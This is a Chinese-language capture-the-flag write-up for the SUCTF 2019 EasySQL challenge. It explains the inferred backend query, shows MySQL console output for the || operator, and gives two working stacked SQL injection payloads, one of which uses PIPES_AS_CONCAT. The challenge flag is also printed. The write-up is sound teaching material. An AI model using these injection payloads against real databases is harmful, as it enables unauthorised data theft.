[SUCTF 2019]EasySQL 1
这个题目搞了我好久,由于本人基础不扎实,试了好多方法,只发现有三种情况
Nonono
、无返回结果和有返回
然后使用了新学习的堆叠注入,得到了数据库名和表名
想要查看Flag
表的字段内容也查看不了
这里我就无计可施了,到底是怎么回事?
观看了大佬的WP,原来是这样
根据猜解,后端的语句是
select $_POST['query'] || flag from Flag;
所以一切的原理就出啦了
mysql> select 0 || 'flag';
+-------------+
| 0 || 'flag' |
+-------------+
| 0 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select 2 || 'flag';
+-------------+
| 2 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| 0 |
+---------------+
1 row in set, 2 warnings (0.00 sec)
所以这里只有非零数字和flag或(or、||)
运算才可以返回真,才会有返回结果
那么Nonono
就是我们传入的关键字被过滤了,这样都理解了。
那么如何绕过这个注入,才是关键。
方法一:
payload
1;select *,1
和SQL语句拼接后
select *,1 || flag from Flag
1和flag的结果是1,然后语句就成为了
select *,1 from Flag
,*
是数据库全部内容的意思,所以得到flag
flag{2231a903-6115-4dcc-8c0f-3d6086b54819}
方法二
大佬给出了一个关键的MySQL
配置sql_mod
SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT
:会将||
认为字符串的连接符,而不是或运算符,这时||
符号就像concat
函数一样。
mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)
mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag |
+---------------+
1 row in set (0.00 sec)
所以只需要更改SQL_mod
配置,然后随便查询一个值就可以得到flag
payload:
1;set sql_mod=PIPES_AS_CONCAT;select 1
插入SQL语句就成为
select concat(1,flag) from Flag;
成功得到flag